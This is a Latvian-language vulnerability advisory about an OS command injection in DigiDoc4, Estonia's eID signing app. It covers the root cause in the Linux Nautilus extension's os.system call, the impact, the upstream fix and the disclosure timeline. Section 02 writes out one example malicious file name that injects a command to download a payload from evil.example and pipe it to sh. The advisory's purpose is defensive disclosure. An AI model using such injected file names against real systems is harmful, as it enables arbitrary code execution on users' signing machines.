Komandu injekcija novērsta Igaunijas nacionālajā eID programmatūrā
DigiDoc4 – Igaunijas oficiālā eID parakstīšanas lietotne
OffSeq atklāja un novērsa OS komandu injekcijas ievainojamību DigiDoc4 lietotnē – Igaunijas oficiālajā nacionālajā eID darbvirsmas lietojumprogrammā. Linux failu pārvaldnieka integrācija veidoja čaulas komandas no neattīrītiem failu nosaukumiem, tādēļ īpaši veidots faila nosaukums varēja izpildīt patvaļīgu kodu tajā brīdī, kad lietotājs izvēlējās parakstīt vai šifrēt attiecīgo failu. Labojums, kas aizstāja čaulas izsaukumu ar drošu argumentu sarakstu, tika pieņemts sākotnējā projektā.
Kritiskums: Kritisks 3 min lasīšanai
§ 01. Pārskats
DigiDoc4 ir Igaunijas oficiālā nacionālā eID darbvirsmas lietojumprogramma, ko izdod Igaunijas Informācijas sistēmas iestāde (RIA) un kas tiek izstrādāta uz atvērtā koda open-eid tehnoloģiju kopuma. Igaunijas iedzīvotāji to izmanto, lai veidotu juridiski saistošus elektroniskos parakstus un šifrētu dokumentus ar savas ID-kartes, Mobile-ID vai Smart-ID akreditācijas datiem, padarot to par kritiskas nacionālās infrastruktūras daļu visā Igaunijā un plašākajā Baltijas reģionā.
Uz Linux DigiDoc4 tiek piegādāts kopā ar failu pārvaldnieka integrāciju Nautilus failu pārvaldniekam. Tā pievieno labā klikšķa konteksta izvēlnes ierakstus – "Parakstīt digitāli" un "Šifrēt failus" –, lai lietotājs varētu darboties ar dokumentiem tieši no savas darbvirsmas. OffSeq atklāja, ka šī integrācija veidoja klienta palaišanas komandu nedrošā veidā, pārvēršot parastu faila nosaukumu par uzbrucēja kontrolētu izpildes vektoru.
§ 02. Kā tas darbojas (pamatcēlonis)
Nautilus paplašinājums veidoja savu komandrindu, savienojot izvēlētā faila ceļu vienā virknē un nododot šo virkni čaulai ar Python os.system() funkciju. Faktiski kods darīja to pašu, ko os.system("qdigidoc4 " + args + "&"), kur args saturēja pēdiņās likto faila ceļu un beigu & nodeva procesu fonā. Tā kā os.system() palaiž savu argumentu caur /bin/sh, katrs čaulas metasimbols ceļā tika interpretēts, nevis uztverts kā burtiski dati.
Linux failu nosaukumi ir pieļaujoši: tie var saturēt dubultās pēdiņas, semikolus, dolāra zīmes, atpakaļvērstās pēdiņas, vertikālās svītras un citus simbolus, kuriem čaulā ir nozīme. Fails, kura nosaukums tā veidots, ka tas noslēdz pēdiņas un pievieno savu komandu – konceptuāli x"; curl evil.example/payload | sh; " –, izlauztos no paredzētā argumenta un liktu čaulai izpildīt tā lietderīgo slodzi. Tā ir klasiska OS komandu injekcija (CWE-78): neuzticami ievaddati nonāk komandu interpretatorā bez attīrīšanas vai nošķīruma starp kodu un datiem.
Bīstamākais ir tas, ka nav nepieciešama nekāda neparasta lietotāja darbība. Vienkārši noklikšķinot ar labo peles taustiņu uz ļaunprātīgi nosaukta faila un izvēloties to parakstīt vai šifrēt – parasto, gaidīto darbplūsmu – tika izraisīta ievadīšana. Šāds fails varēja nonākt jebkādā parastā veidā: kā lejupielāde, e-pasta pielikums, koplietots mape vai USB atmiņa.
§ 03. Ietekme
Izmantošana ļauj izpildīt patvaļīgas komandas upura lietotāja konta kontekstā, un tas tiek panākts, izmantojot ne vairāk kā lietojumprogrammas paredzēto parakstīšanas/šifrēšanas plūsmu. Datorā, ko izmanto juridiski saistošu elektronisko parakstu veidošanai, šis konts parasti tur tieši tos līdzekļus, kurus uzbrucējs vēlas: piekļuvi ID-kartei un PIN ievadei, parakstīšanas darbībām, kā arī lietotāja dokumentiem un akreditācijas datiem.
Tā kā failu pārvaldnieka integrācija ir daļa no standarta Linux pieredzes, apdraudējums bija plašs, nevis šaurs īpašs gadījums. Izraisītājs – faila saņemšana un izvēle to parakstīt vai šifrēt – ir tieši tas, kā dēļ programmatūra pastāv, tāpēc arī lietotājs, kas ievēro parastus, piesardzīgus ieradumus, tik un tā tiktu apdraudēts. Šī kombinācija – kritisks primitīvs (patvaļīga koda izpilde) kopā ar mazprasīgu, ļoti ticamu piegādes ceļu – padara atradumu nopietnu.
§ 04. Labojums
OffSeq iesniedza labojumu, kas pilnībā izslēdz čaulu no vienādojuma. Tā vietā, lai saliktu vienu virkni un nodotu to os.system() funkcijai, paplašinājums tagad palaiž klientu ar subprocess.Popen() un skaidru argumentu sarakstu. Katrs faila nosaukums tiek nodots jaunajam procesam kā atsevišķs, burtisks arguments caur execvp(), tādēļ čaula to nekad neparsē un nenotiek nekāda metasimbolu interpretācija – ievadīšanas virsma pazūd, nevis tiek aizvietota ar aizsargsimboliem vai filtrēta.
Sākotnējais kods pievienoja beigu &, lai klients darbotos fonā; aizstājējs saglabā šo uzvedību ar start_new_session=True, tādēļ labojums lietotājiem ir funkcionāli līdzvērtīgs, vienlaikus būdams drošs pēc savas uzbūves. Argumentu nodošana kā saraksts, nevis čaulas komandas veidošana ir standarta, ieteicamais risinājums šai kļūdu klasei.
Izmaiņas tika iesniegtas kā izmaiņu pieprasījums open-eid/DigiDoc4-Client #1407, tās izskatīja sākotnējā projekta uzturētāji un sapludināja oficiālajā repozitorijā.
§ 05. Atklāšanas hronoloģija
- 2026-05-13 OffSeq ziņo par OS komandu injekciju DigiDoc4 un iesniedz labojumu pamatprojektā (PR #1407)
- 2026-06-15 Labojumu pārskata un iekļauj open-eid uzturētāji
- 2026 Publicēts Nila Putniņa raksts